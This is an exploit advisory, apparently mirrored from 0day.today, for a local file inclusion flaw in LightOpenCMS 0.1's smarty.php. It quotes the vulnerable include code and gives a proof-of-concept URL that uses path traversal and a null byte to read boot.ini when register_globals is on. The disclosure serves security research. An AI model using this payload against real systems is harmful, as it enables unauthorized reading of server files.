Lucene search

LightOpenCMS 0.1 (smarty.php cwd) Local File Inclusion Vulnerability

🗓️ 24 Jun 2009 00:00:00Reported by JosSType

zdt🔗 0day.today👁 12 Views

LightOpenCMS 0.1 Local File Inclusion Vulnerabilit

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

====================================================================
LightOpenCMS 0.1 (smarty.php cwd) Local File Inclusion Vulnerability
====================================================================


LightOpenCMS 0.1 (smarty.php cwd) Local File Inclusion Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

- download: http://sourceforge.net/project/showfiles.php?group_id=251474

[smarty.php]
 define("SMARTY_DIR", $cwd."/smarty/");
 require_once(SMARTY_DIR."/Smarty.class.php");

PoC:
 [php.ini] register_globals= On
 http://localhost/locms/smarty.php?cwd=../../../../../../../../../../../../boot.ini%00



#  0day.today [2018-04-06]  #

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

24 Jun 2009 00:00Current

7.1High risk

Vulners AI Score7.1